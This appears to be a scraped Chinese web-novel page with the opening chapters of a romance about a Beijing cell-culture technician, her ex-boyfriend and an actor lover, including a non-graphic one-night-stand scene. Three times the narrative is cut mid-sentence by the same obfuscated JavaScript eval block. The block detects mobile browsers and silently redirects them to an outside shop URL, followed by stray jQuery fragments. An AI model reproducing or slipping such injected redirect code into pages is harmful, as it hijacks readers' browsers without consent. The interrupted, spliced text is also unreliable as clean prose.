《一刻度暧昧》 1. 一 《爱情分式》 晋江文学城独家发表 文/晓雨霖铃 一 苏不梦走出公司大楼才知道下雪了。 白粒子簌簌洒下来,装点了水泥森林的灯海。可惜热岛效应里存不住雪景,水泥路面刚积了薄白一层,正是下班高峰,很快被车流碾成杂乱的辙。 首都今年冷得晚,过完元旦才下第一场雪。 她紧了紧衣领,实验室里待得久了,昼夜都模糊,一出来天已全黑,冷风直扎脸。 从停车棚找到自己的小电驴,插钥匙,手伸进挡风被,拧动,驰出大门道闸。 绿化带旁停着一辆黑色普拉多。 驾驶座的人戴着墨镜,一头利落干练的垫烫短发,套装严整,叼着一根细烟,沾了口红。见她出来,偏了偏头。 “不用,我车胎不滑。”不梦摆手,扣上头盔。 对方没多话,倒车退了两米,保持距离跟着。 这里是大兴西红门科技园,沿路多是生物科技研发公司,不远处就是中国药谷,生物医药产业基地,灯火连成一片。她公寓不远,就在三站公交外的小区。 等红灯时,从后视镜瞥了一眼,那辆车始终跟在后面,不快不慢。 开到小区门口,小电驴停下,回头望了一眼。那人隔着前窗望她,没下车,前灯闪了闪,不梦冲她挥挥手。几秒后,对方掉头驶离。 这是她来首都的第六年。 生物本科毕业,做细胞培养实验员,租的半旧公寓,不大,但干净,家电齐全,暖气热乎。一个人北漂,日子安稳得没什么波澜。 取快递,搭电梯,上楼。 开门、开灯、换鞋、脱外套、洗菜、煮饭,来北京换的第三个家,熟练又沉默的日常。 一人份的电煮小锅,清汤底,上次剩下的半盒牛肉卷,几片绿菜,一小把洗净的杂菇,几根自己手搓的面。锅沿咕嘟咕嘟冒起白汽,在冷清的小公寓里飘散,凝在玻璃上,漫漶了首都的雪夜。 手机支在桌边,放着没营养的综艺,声音开得不大,此起彼伏的哄笑和掌声,盖掉了一室的静寂。 微信来电突响,是团队里的林组长。 “不梦,明天东南亚的公司过来参观交流,研发部全权接待,培养组负责款招那几名中层,晚上唱K,别缺席。一起认识下。” “好,我知道了。” 挂了通话,汤面沸滚着小泡。 窗外雪依旧,白粒子变成了鹅绒。 她低头用筷子搅了搅蘸料,把面吃完。 这个时间,浴室的热水器该预热。她起身去打开,回来重新坐下,翻开实验台账,将今天的过程复述一遍。 KTV包厢里浊气缭绕,各种牌子的烟味汇合漫遍每一个角落。低音炮、碰杯声、偶尔劈嗓破音的歌喉,不梦待了不到半小时就觉得胸闷,像置身于一瓶剧烈震荡后的浑浊溶液,内环境都快要紊乱。 她悄悄起身,沿着角落走出来。走廊里安静很多,厚厚的墙体和门板将音乐声隔绝的微杳,空气一下清新了许多。她靠在消防通道门边,低头深呼吸,想把肺里的酒气和喧嚣都换出去。 电梯口方向传来几沓皮鞋声,停在她面前几步远。 不梦抬眼。 是位男士。 穿着简单的淡蓝西装外套,身形颀长修挺,发型清爽,鼻梁上一副黑框眼镜,眉眼清朗,文质彬彬。 走廊的嘈杂声被自动降噪。 耳后突兀地漫上一阵热。 对方先开口,声音很轻,脸上带着的不可置信的惊喜:“不梦?” 她没立刻应。视野里,男人的轮廓好像比大学时略健壮了些,全身散发着成熟职业男性的风度,这是时间沉淀出来的味道。 不梦点头“嗯”了一声,“好巧。” 他望着她,像在确认是不是真的遇上了,整理着语言,停了停才说:“公司团建,我下去吧台买烟。” 不梦点点头。 她没有延展客套,目光很自然地扫了一眼他身上,得体的西装,腕上的手表,飘来的浅淡烟草味。 不是那种高坐写字楼的名贵香水味儿。 再结合工科的专业性,她在心里大概归类:社会属性成熟,稳定性高,属于高收入金领那一挂。 他眼神里糅杂着异样,半晌没挪开:“你也在这儿唱歌?和谁?” “同事聚餐。”她答得简短,脸上挂着礼貌的笑。 这时,走廊那头有人探出包厢喊他的名字,催促过去。 他大声应了一句,再转回来时,语声分明带了一丝歉疚:“我先进去了。” “好。” 他走了两步,又停下,没回头:“不梦,你一直在北京没离开吗?” 她回答:“是的。” “现在做的什么工作?” “一直在生物医药公司。” “实验室吗?” “是。” “专业对口。” 他背身对着她,没再继续往下问,只侧头淡淡说了一句:“天气冷,早点回去,注意安全。” “嗯,谢谢。”她的语气像是下午在实验室和同事核对那组数据。 男人步履向前,背影很快融进走廊尽头的灯光里。 不梦依旧靠在墙上,半天没动。抬手将额发拢到耳后,继续呼出胸腔里剩余的浊气。 前男友。 毕业分手,快六年没见。 在这偌大的帝都,坐标同一栋KTV。概率极低,却发生了。 生活果然不是标准实验。 你永远不知道,下一个样本,是不是你早就弃置的那瓶,未被销毁的活性留存。 包厢散场时,已经快凌晨一点。 里面又热又闷,出了一层汗,出来却骤然进了冰窟。半旧的居民大楼竖在夜色里,错落几盏昏黄。北京深夜的天空是蓝钢笔水沁了墨,风刮过楼层,呜呜的响。 雪早停了,纯白的树木、绿化带。这里在鸟巢前广场附近,远处大钉子的塔尖刺破云层,五环灯悬在半空,明明暗暗。 组长今日陪得最多,微醺,叫了代驾,同事们各自打车拼车。不梦站在路边刚要掏手机,前方的车灯在不远处亮了两下。 是他。 靠在一辆蓝色特斯拉的车旁,黑框镜片隐在夜色里,口中呼出雾气。 似乎早就算准了她会在这一刻出现。 见其他人都走了,蓦然站直身子。 她走了过去,步履轻慢,到距离一米的地方停下。 “送你回去?”他径直打开副驾门。 不梦戴好围脖,理智告诉她应该拒绝,应该说“不用,我自己可以”。但身体里某根细小的弦用力地扯拉着,像是实验没有收尾,促使她去完结。 “嗯。”她应声。 一路很静,车内放着舒缓的钢琴曲,空调出风口呼呼微响,他只问了地址和方向,她把手机导航调出来,放在车前支架上。然后,再无交流,车窗外的路灯一盏盏划过,光影在彼此的侧脸上明暗交替。 车停在公寓楼下,打开车门下去,男人也下车。 路灯下,两人的影子被拉长,静静相对。 他一只手随意揣进西裤口袋,身形伫立在夜色里,个头高出她整整一截,脖颈流畅的线条,喉结微动。 好一会儿后。 “上去坐会儿?”她问得很坦荡,不只是客气的邀请。 他怔了一下,点头:“好。” 钥匙转动,房门关上的瞬间,城市的喧嚣被彻底隔在外面。 黑暗中,四目相对。 一切都顺理成章得几近麻木。 成年人的重逢,有些答案不必细究,有些冲动,也不必归咎为喜欢。 或许是深夜,或许是北京太大,节奏太快,人心太轻。也可能,只是压抑太久的荷尔蒙,终于找到了熟悉的应答通路。 ......吻持续了很久,他的掌心扣着她的脑勺,一路从客厅挪到了卧室。 按照那些肥皂剧的套路,应该先说些久别的思念爱语,作为缠绵开头,也许他路上已经酝酿好了。然后再来点试探拉扯,最后是肉麻矫情的情话收尾,这才符合SOP(程序流程)①。 但是,根本来不及。 灯没全开,只留了床头一小盏。手臂搁在他背上,呼吸叠着呼吸,相互褪去衣衫,褪去成年人世界的面具和铠甲,曾经最熟悉的体温与轮廓,在这间北漂小公寓里,重新结合。 窗外是沉默的北京,窗内是短暂失控的两个人,如浅海后半夜悄悄涨起的潮,一浪一浪,拍打着礁石。 一晌温存,是实验中一次意料之外的异常。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590647|205448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 凌晨,她睁开眼,望着天花板,余韵的潮在身体里早已退去。 身畔的人呼吸悠长,手臂放在她腰际。 她换了个侧躺的姿势,背对着,重新酝酿起睡意。外头商铺的霓灯彻底不熄,映着窗帘,像空白的电影银幕,屋中并不十分黑暗。 身后的体温灼热地贴着她,如今只有陌生。 她清楚地知道,这不算复合,甚至不能算是和解。只是两个在异乡漂泊的人,借着旧情,取暖一夜。 她在心里写下标注:临时共培养,无长期培养计划。次日,终止反应,各自归位。 天刚大亮,公寓里的小世界映着外面掠过的滚滚车声。 她是被浴室里的水声吵醒的,身边是空的,被子微凉。她的第一反应是:他该走了。 这样,才符合成年人一夜后的默契,干净,利落,不拖泥带水,边界清晰。她甚至在心里说:“行为得体,无后续干扰,样本合格。” 哗啦、哗啦...... 水流声没断,砸在瓷砖上。 不梦换了个姿势,继续闭着眼,脑子里已经开始梳理流程。等他离开,开窗通风,换洗床单被罩,高温消毒,把这间屋子重新拉回到无菌状态。 水声停了。 门咔哒一声轻响,男人走出来。 不梦的目光从手机屏幕上挪开,抬头朝浴室门口扫过去,下一秒,不自觉地皱起了眉头。 他穿着她的米白色浴袍,尺寸略小,裹得随意,胸口大敞开着,露出紧致的轮廓,发尖还滴着水。 双脚踩着她的浅蓝色棉拖鞋,一左一右,脚踝露出大半。 不梦清了清嗓子:“你穿错了!” 男人擦头发的动作停住,看向她,两相对视,立刻意识到这有多严重。“对不起!昨晚没有换洗衣物。”他解释道,语气很小心,透着几分掩藏的无奈。 不梦没说话,只是上下打量着那身属于她的浴袍和拖鞋,想起实验台上污染警示灯的闪烁。 私人物品被占用,比一夜荒唐更让她不适。 她收回目光,靠在床头,随意刷着手机:“请脱下来吧,我消毒。” 她语调冷淡,没什么情绪起伏,到不像在说指责,只是漠然地在陈述一个必须执行的无菌操作。 空气静了一瞬。 男人望着她,忽然摇了摇头,自嘲地笑了一下,感叹道:“还是一点儿都没变,不梦。” 擦干净头发,他安静地把浴袍脱下来,动作很小心。然后整整齐齐地叠好,放进卫浴间的洗衣篓里,再出来已经换回了自己昨晚的衬衣和西装。上面残留着酒气和烟味。 一站一躺,两人都没开口。 他拿出手机,试着打破尴尬:“我叫点早餐。你吃什么?” “不用,我胃不好,吃不惯外卖。”不梦立刻穿好睡衣,拢了拢头发扎上皮筋,下床走到窗边,推开窗扇,让清晨冷冽的空气涌入,接着往厨房走去。 她动作利落得像快刀,不容他反驳。 从柜子里拿出一袋快煮八宝粥,剪开,倒进小锅里慢慢煮熬。又从冰箱摸出一把青菜、一块嫩豆腐、一截莲藕,洗干净,简单清炒了一盘青菜,拌了藕片,做了一碗嫩豆花。 保鲜盒里摆着她前晚蒸好的馒头和超市买的发糕,一起放进微波炉。 她不爱吃外面的馅料,包子、饺子、丸子、酱腌菜这一类,看不见制作过程,无法溯源,无法验证干净程度,在她这里一律归为不可控风险。 男人默默靠在厨房门口,全程望着她的背影。 须臾,粥煮好,她盛一碗放到他面前,又把豆花推过去,把青菜、馒头、发糕摆中间。 一双筷箸递过来,也没看他:“想吃哪个自己挑。如果口味不合适,请自便。” 他接过,悻悻拉开椅子,动作很小心,坐在餐桌对面,开始进食。吃着粥,筷子夹起了发糕。 她也低头吃着,小口慢嚼,藕片在齿间轻微的咀嚼声,清脆好听。 7:45,继续每天早上的流程,冲完澡,晾开洗衣机里的衣褥,接着去卧室打开紫外线灯管。 昨夜的行为,是多年前一个时代的终结。 此刻,余烬的残灰,自动扫进情绪垃圾桶。 此刻,一切重新归位。 无菌,有序,冷静,不梦。 2. 二 爱情分式 二 到生物科技园时,刚好八点二十分,离上班打卡还有十分钟。 冬日北京的清晨总是灰蒙蒙的。一层分不清是雾还是霾,裹着天际,没有刺鼻的呛味,却也算不上清爽,吸进鼻腔里,带着几分燥湿的闷。 刷卡,“嘀”一声,门禁放行。 指纹核验,人脸识别,三道关卡过了,才算真正踏进生物安全区。 到研发部楼层,更衣室在走廊尽头。 她换上白大褂走进普通区,从负二十冰箱取出试剂,查验色泽度、批号和外观,核对胎牛血清解冻情况,检查实习生配制的营养基,在实验记录本上逐项打勾。 然后脱下白大褂,戴上一次性圆帽,将额前碎发全部收拢进去,再换上连体洁净服,从头到脚裹得严实,全身只露一双眼睛。 实验室里大家早都习惯了,只凭一双眼睛辨认彼此。 这衣服勒得久了,发际线都有些后移,她花了不少心思和金钱来养护头发。公司里的男实验员大多都被脱发困扰,他们主管就是个一百瓦大灯泡,灯光照上去,亮得能反光。几位老资深高管也是各顶着地中海。据说他们年轻时也都是一头浓密的黑发,后来不知道哪一年就掉光了。用他们的话说:“这掉的不是头发,是科研成果。” 手消、风淋室除尘、再次手消......这套流程她做了四年,闭着眼睛都能完成。 往里走,玻璃门自动弹开,里面是长长的无菌过道。再往里,机械轻微的嗡鸣声,罗列着大大小小的液氮罐,这就是细胞培育房。 恒温恒湿,灯光滤过系统低鸣,白得均匀。 左边是实验操作间,全是精密高端的仪器。她把洁净台旁开机,紫外消毒二十分钟。走到培养箱前,打开门,一层层抽板,显微镜推到面前,目镜抵上眼。 今天的CHO细胞状态不错,镜下单层铺得均匀,折光度好,少有死细胞。她在本子上写下:存活率预估95%,可以传代。① 同事小陈过来拿板,不梦吩咐她:“按原定计划传代,分板做两组平行,一组留种,一组给药处理。” “好嘞。” 不梦又补上叮嘱:“所有操作你和小江双人核对,记录实时填写,污染第一时间上报。这批种子每板之间群间不均一,容易局灶性分化,传代时记得铺板密度再提高一档,别让他们长飞。两小时镜检一次,形态一旦不对,立刻挑出来隔离。” 小陈点头:“那我去配液。” 她是应届毕业生,才来了不到半年,试用期在生产一线,考核及格,调进实验室战场不到两个月。还是初级菜鸟实验员,揣的都是学校的基础理论。 “血清解冻完全,混匀再加。用T75瓶,加2ml胰酶,消化时间控制在3分钟左右,37℃孵育。” “明白。” 小陈回到自己的操作台。 不梦离开显微镜,在旁边本子上写下:09:25,消化终止,细胞形态良好,存活率预估93%~97%。 然后换下一板,继续抽检长势、判定状态。 实验室没有天光,这是个维度外的世界。 同事们在各自的操作台上忙碌着,四下寂静的只有移液器吸液排液的细微声响,偶尔低声的交流,话题也只有培养瓶中这些琐事。 中午十二点,她接替过小陈酸麻的手,拿起培养基,贴着瓶壁慢慢加注,动作轻得怕惊扰到那些沉睡的北鼻。 实验本上留下一行标注:今日任务,维持细胞株稳定,无突发变量。 没有意外,就是细胞最好的结果。 工作餐时间。 昨晚喝酒了,今天不按固定搭配取餐,挑了三素一荤,一小砖米饭,没拿切好的橙子块,她要了整个,又抓了一把葡萄、一盒酸奶。 不碰过多油腻,营养摄入精确。找了个桌位慢慢吃着,一边刷朋友圈。 小陈端着餐盘坐在她对面,边吃边念叨:“林组临时请假了,家里老人血压高,让我们自行加班。” 不梦“嗯”了一声,夹起一筷子娃娃菜:“下午得加快进度,不然这批细胞的给药处理赶不上预定时间。” 小陈嚼着米粒:“刚才下游放大部打电话来问进度了,小江接的,说他们的纯化柱都要干透了,天天催命似的。” “吃完回去,先核对配液浓度,再进行后续操作,争取早点做完。”不梦没抬头,加快了进食的速度。 下午的实验按部就班推进,给药处理、细胞孵育、实时记录...... 直到傍晚七点半,最后一批样本入孵,设定好恒温参数,不梦才停下动作。 她逐一关闭操作台电源,将用过的枪头和离心管分类放入医疗废弃物容器,清理废液缸,垃圾倾倒进专用收集桶。再用消毒水擦拭台面,不放过任何一点试剂残留。 和小陈核对完当日实验记录,核对所有数据无误,签字确认后,两人一起离开细胞房。到缓冲间风淋除尘,再到更衣室脱下无菌服、口罩、圆帽,放入专用清洗袋,又用手消液清洁双手。 最后换上自己的衣服。 将实验本放进包里,打开手机,有几条微信。 第一个对话框,郭爸爸 【梦梦,还有一个多月就过年了,回来吗?你妈想你,一家人过个团圆年】 不梦回消息:郭爸爸,你和张女士身体可好? 一边往出走,刷卡出生物安全区,楼道里的灯光已经熄灭大半,只剩应急灯泛着微弱的光,鞋跟声在空旷的走廊里回荡。 那边回消息:梦梦,我们还好,你回家吗? 又弹出一条:回来过年吧,孩子,家里热闹,腊月十五是你的生日,爸爸发个红包,你买点好吃的。 一条红包弹了出来。 不梦没点开,回信:谢谢郭爸爸,我不缺钱,你们挣钱不容易,我很好,不用惦记,再见。 第二个对话框,小白猫。 是语音消息:“我这边快杀青了,累死小爷了,动作片真是费人!我几乎没怎么用替身,命都搭进去大半。这回不会骂我没演技了吧?宝贝,我还有新戏要试镜,等你生日我回去一趟,等我。我要吃你,狠狠地,吃你!” 她编辑打字,快速发过去: 【滚蛋!你大脑里那点儿过载的神经递质就好不了,天天宕机,再发那个称呼,就咒你票房扑街!】 那边没有回应,估计在忙,手机不在手边。 走出园区,今天加班没有太晚,天色沉成冻葡萄般的暗紫,远天尽头还浮着一层未散的橘霞,路灯次第亮起。 回到小区,有人等在保安室外。 他今天换了发型,一眼能看出是特意花了心思打理的,一身豆青色羽绒服衬得身形挺拔笔直,皮鞋崭新锃亮,整个人从头到脚似青春了几分, 仿佛还是那个等在宿舍楼下的学长,身上带着阳光的味道。 笑着问她:“又加班了?” 不梦没回答,脚步只顿了半秒,继续往前走。身后的声音问:“能不能加微信?或者、或者钉钉也行,我只有你的微博,发私信也不回。” 不梦开始后悔昨夜的事。 果然,不可控的变量,很可怕。 她停下脚步,回头,然后走回来,径直到他车边,戴了一边耳机,看着他的脸,问:“杨先生,你想怎样?直说。” 杨的脸上的笑意淡去,染上了苦涩:“我不想怎样,就想有个能联系到你的方式,不是要重提过去,只是......哪怕知道你每天实验顺利,身体安好,也就够了。” 不梦攥了攥包带,眉峰微蹙。 “没必要,昨夜只是一次意外,我们都喝了酒,情绪不在正常值,Casualcoupling(随性耦合)。就像你的离线对等节点,我的实验中偶然副反应,终止了,就该各自回归基线。” “我知道。”他说,却没有往前逼近,依旧保持着一步的距离,不冒犯她的安全边界。“但离线对等会链路记录,实验副反应也会留存数据痕迹,苏不梦,你不能假装一切都没发生过。我不要你回应什么,就一个联系方式,我不打扰,只偶尔确认你还好。” 她说:“我不认为我们能退回去做所谓的普通朋友。” “为什么不敢试试呢?” 她垂着眼,静默片刻:“好。” 他从羽绒口袋里掏出手机,解锁后递到她面前,屏幕上是他的个人主页。“我现在在智澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590648|205448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科技,做大模型训练架构,住在朝阳区望京西园的单身公寓,离你这里打车一个小时整。” 她没看。 “我知道了,你回去吧。” 他没动,深深凝视着她的脸,好一会儿后,问她:“你和同学们都还联系着吗?” 她稍点了下头,望着自己那栋公寓楼:“偶尔联系。” “那你......”他嚅嗫着,迟疑着,还是问出了口:“我记得我们最后一次通话,我想知道,元小桃、樊芬菲她们,有没有跟你提过我和姣姣后来的事?” 这两个是不梦的大学舍友,死党。她毕业走了,她们留校读研。 她转头向一边,眉间露出不耐烦来。“她们说的话很多,我不可能每件事都记住,时间过去这么久了,我连她们的样子都模糊了,遑论其他。” 杨摩挲着衣角,踯躅道:“你就一点都不想知道,姣姣跟我决裂的原因是什么吗?” 不梦抬眼,目光平静地扫过他,停了一瞬。然后道:“杨先生,生活的培养皿里,不需要多余的变量,懂么?” 他沉默了几分钟,再开口时,声音里带了沉重的无奈,却依旧没放弃:“我不做你的变量,就加个钉钉,你要是觉得烦,随时可以拉黑,行不行?” 不梦摘下耳机,淡声问:“想维持temporarynode?(临时节点,其实就是隐喻PY关系)” 空气骤然凝固。 杨的笑容僵在脸上,眼神有片刻失了焦距,直直地望着她,唇瓣动了动,却发不出半个字。愣怔好一会儿,才苦笑两声,生硬地开口,声音如老旧机器般滞涩低哑:“如果、如果这样......可以的话......” 不梦打了个呵欠,眼角带出一点生理性的湿意,随手拭去:“我从不许诺以后,不许诺明天。” “我知道,毕业分开那天你就这么说。” “人没办法左右内源性激素调控,说到底不过是生理机制的临时反应。我心性无常,连自己都不确定,下次是否还想要你。” 她的语调很轻,一如她这个人,总是淡淡的。却是行事果决,从不拖泥带水。 连坦诚也是这样直白,没有半点虚意铺垫。 杨的目光黯然下来,没有反驳。 好一阵后,他指尖在屏幕上点了点,调出手机号和钉钉二维码,推得更近了些:“号码和钉钉都在这。如果需要我,我随叫随到,绝不迟到,也绝不逾矩。” 不梦看了一眼,没扫二维码,只记住了联系方式。 重新戴上耳机,鞋跟踩着水泥砖大步向前,羊绒大衣的下摆扫过地面,带起一阵风。 刚走出两步,身后突然传来一声低唤,带着压抑的:“笨笨。” 这两个字像一根细针,精准锚中了不梦某个微小的地方。 她的脚步猛地绊住,耳麦里的白噪音仿佛都消失了。 那是多年前。 她在实验室养废了第一株稳转细胞,直接毁了整组大课题中期样本,耽误所有人进度,被导师当着全实验室狠狠训了一顿。 回去躲着掉眼泪时,他递来一支哈根达斯,笑着哄她,给她取了个昵称:“笨笨” 那是属于“可控”岁月里,唯一的柔软。 “再见,杨先生。”她没回头,只是攥紧了包带,径直走进夜色里。 次日中午,食堂拿餐的人流刚落下去,不梦的手机在餐桌上震了一下。 她点开微信。小白猫的对话框顶在最前,只有两个字:毒妇! 紧接着,电话直接拨了进来。 周围还有同事在吃饭,谈笑声混着餐盘碰撞声。不梦把没吃完的米饭推到一边,拿起手机和工牌,快步往洗手间接。 走廊尽头的洗手间没什么人,她关上门,按下接通。 “宝贝——” 尾音拖得老长,明显是刚睡醒,嗓音带着沙哑,又裹着惯常的黏糊,一下钻入耳膜。不梦靠在冰冷的瓷砖墙上,眉头立刻皱起来。 “今天想我没有?快一个月了,你胖了还是瘦了?也不肯开视频。发个照片给我看看。” “扑街没扑够是不是?”她压低声音直接骂出口,“还敢给我打电话!条律忘了吗?” 3. 三 爱情分式 三 “你个毒妇!” 小白猫在那头又嗔骂了一句,那种大男孩撒娇的委屈:“我这不是刚下戏嘛,累得散架,睡了一觉,一睁眼就想你了。想你也有错了?你不是总说什么荷尔蒙的,我这是正常的生理反应。” 不梦没时间跟他打嘴炮,直接说:“你该补觉了,睡眠不足会影响前额叶皮层功能,让你的脑智力退化。” “你能不能有一次,就一次,不跟我背教科书,明知道我听不懂你那些术语。”他抱怨。 不梦没接话,安静等他自己往下演。 “你没心。” 电话里传来翻身的响动,“你昨晚刷微博,点赞了那条骂我演技像AI的评论!我为这部戏,吊威亚把腰都快勒断了,有一场黑化的戏,导演总说我眼神不够狠,天天NG......你知不知道,我对着镜子练了三个晚上,就为了你以前说那句‘眼里没戏’。” 他絮絮叨叨地说拍戏的苦,说武打戏不用替身摔得青一块紫一块,说导演多严苛,自己有多敬业。 “哦”不梦终于开口,却是讽刺的语气:“现在你眼里有戏了,恭喜!这次肯定拿奖,拿影帝,拿视帝,要准备好获奖感言啊。” “......”对面一下噎住,几秒后又闷闷地骂了一句毒舌妇。 “夸夸我,能掉块肉啊?” 然后又绕回了思念:“宝贝,你快过生日了,我跟公司磨了好久,把通告调开了,尽量那天打飞的回去。” 洗手间的感应灯暗了,不梦没动,手机屏幕映亮她半边脸。指尖无意识地抠着瓷砖上的小点,像在抠掉实验数据里的异常值。“你回来做什么?” 她陡然透出两分不耐烦来。 “我不喜欢被打扰,今年我只想一个人清清静静地过,没精力应对不相干的人。” 手机那头静默了几秒,似乎被她这句话打了一下。 不梦补充:“何况那几天我在成都出差。” “成都?你去成都做什么?细胞实验还能做到成都去?”他的声音里藏着未消化的酸涩。 “公司合作项目,去那边的实验室做交叉验证,哎呀,说了你这文盲也听不懂!要待一周呢,腊月十一走,十七才回。”她随口编着,逻辑严丝合缝。 她确实要去成都参加一个研讨会,只不过往返是三天,不是一周。 她刻意把时间拉长,堵死所有可能。 “那......”对面强压下失落,“我改机票,飞成都找你?反正横店到成都也就三个多小时,我去陪你吃个生日饭就走,不耽误你工作。” 不梦心下猛地一紧,立刻说:“不用!我这边实验排得很满,早八晚九,没空见你。” “苏不梦!”突然叫她的全名,明显压不住的怒火,他自来不是好脾气的人。“你是不是还在躲我?小爷就这么招你烦?不把我显出贱来,你没成就感是不是?” 洗手间的排风扇嗡嗡响着,混着窗外的车流声。 不梦闭上眼,脑海里闪过昨晚站在路灯下的身影,闪过那声“笨笨”,也闪过实验室里永远稳定的恒温恒湿。 “我在工作。” “我都说了我绝不影响你,我们就一起吃个饭。宝贝,哪怕一起吃碗成都小面也行啊,就见一面,见一面我就走。我真的想你!”他几乎是乞求。 不梦睁开眼,丝毫不让:“小白,我没空跟你玩!你要是没事,我挂了,下午还要做细胞计数。” “别挂!”小白立刻喊住她,语气软得一塌糊涂。“那好吧,我不去成都了。但你要记得,生日那天给自己吃点好的,别总吃实验室的工作餐,没营养。” 他又补了一句:“等你回北京,我再找你。不管你在哪,我总能找到的。” 一惯的执拗和倔强。 不梦没说话,只是捏紧了手机,双腿发麻,换了个站立的姿势。 “还有,”小白的声音突然沉下去,像在掩饰什么,“那个红包,你记得领,郭爸爸发的,别辜负老人家的心意。” 提到郭爸爸,不梦的指尖蜷了一下。 “知道了,要你管!我要忙了!你还有事吗?” “那挂吧,宝贝,想你,让我先挂。” 电话被挂断,忙音响了两声,归于寂静。 不梦靠在墙上,站了很久。直到手机屏幕自动暗下去,才深吸一口气,推开洗手间的门。 食堂里已经没什么人了,小陈正坐在她刚才的位置,帮她守着餐盘。“苏姐,你刚才去哪了?” “有点事。”不梦走过去,饭菜已冷透,不能吃了,她拿起自己的实验本,又取了一盒酸奶。 “走吧,回去核对配液。” 每月10号发薪,雷打不动。 普通分析实验室里,白大褂左侧口袋传来短促的嗡嗡震动。不用看就知道,是牛马的粮草到账了。 她划开屏幕,数字安静地躺在余额里:10500。 这是扣除五险一金与个税,每月固定的数字。 14年刚入职的时候在生产一线,月薪4千,后来调入研发部,试用期过后提到5800,第二年7千......四年里,从初级熬到资深,薪水随着岗位和资历逐年爬坡,涨到了这个数字。 抛去生存开销,吃喝住行衣服化妆品,今年能攒下9万,加上元旦前发的年绩效3万块,共12万。一笔稳定的,对她来说不多不少的钱。 这是她用无数个早八晚九、连体洁净服,日复一日的细胞计数换来的。 干净,踏实,她从不嫌少。 只是放在这座彻夜繁华、物欲横流的首都里,轻得像一粒落在车水马龙里的尘埃。不起眼到,扔进人海里,连一点涟漪都掀不起来。 她看了两秒,删掉短信,把手机塞回口袋。 “苏姐,你也收到了?”小陈从操作台转过身问她。 不梦点点头。 小陈皱着眉头叹气:“我这到手才六千,大兴那套合租房一交租,这个月又得靠食堂补贴过日子!好难熬......我什么时候能提级,什么时候才能涨工资啊!呜呜......” 不梦拿起记号笔,在新换的培养瓶上写下今天的日期与代次。她侧过头,对小陈说:“熬时间没用,得熬技术。先把流式细胞仪的操作练熟,每个月都让自己有进步,不出一年,你就能提级。你现在的薪水比我那时候高多了,加油。” 小陈得到鼓励,点点头,转身继续去配缓冲液了。 不梦收回目光,拉开负八十厚重的柜门,将瓶子叠放进格子里。 下班后,她没有直接回公寓,而是拐进了小区楼下的生鲜超市。 发薪日的晚上,她允许自己“奢侈”一点,买了一盒品质上乘的澳洲谷饲牛肉卷,又挑了点新鲜海虾、手打鱼丸和几颗白牛肝菌。 回到家,换鞋,洗手,煮小火锅。 肥瘦相间的牛肉卷在汤里翻滚变色,香气在这个不大却整洁的小空间里氤氲开来。这次亲手做了一个柠檬锅底,她得过胃病,不能吃辣。 夹起一片肉,在蘸料里滚了一圈,送入口中。 肉质鲜嫩,滋味回甘。 这一刻,银行卡里那串冰冷的数字,终于转化成了舌尖上具体而微的暖意。 窗外的北京依旧车水马龙,霓虹闪烁。 周末她没待在公寓补觉,独自坐地铁去了西单。 商场里人来人往,暖气开得刚好,扶梯上上下下全满,携老扶幼度周末。她没闲逛,只进了两家常去的店,挑了几件衣服,结账、装袋。之后转去大前门方砖厂,领了号码,老老实实排在队末。 等了近两小时,终于落座。 一碗炸酱面端上来,黄瓜丝、豆芽、青豆码得齐整,炸酱香气沉实。她慢慢拌开,一口一口吃,不赶时间,也不觉得孤单,只觉得踏实。 实验、数据、污染风险、不可控的人和事,都仿佛隔在了另一个次元。 走出面馆,风带着刺骨凉意,今天太阳还好。 掩了掩围脖,手揣在羽绒服口袋,沿着皇城根慢慢走着。一边是庄重肃穆的红墙,一边是烟火气的老旧灰垣,什刹海上的冰冻得结实,不少人在溜冰刀、滑雪橇、坐冰犁耙,笑着,叫着,摔着。 她停在地安门站口,随意坐上一辆观光公交,找了个靠窗的位置坐下。 车子缓缓动起,载着她横穿长安街。 国家大剧院、新华门、天安门、大会堂、人民英雄纪念碑、国博、故宫......不快不慢地,从窗外掠过。正阳门的琉璃黄瓦在冬日阳光下泛着温润的旧金色,底下是乌泱泱排队安检的游客,车流匆匆,老胡同里有游客举着相机到处拍照,有土著牵着孩子闲散踱步。 一切,热闹又有序。 她就这么以手托腮,放空自己,安静地看着街景流转,时间也随之流失。 公交车走走停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590649|205448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停,报站声温柔又规律,阳光透过车窗洒在她脸上,暖融融的。 从成都出差回来,是腊月十三。 她把行李一放,第二天准时进实验室。 上午,有一板细胞状态不对,培养液清亮,无异味,没有任何污染迹象,可增殖速度异常,形态扭曲,边界模糊,层层堆叠,失去接触抑制。 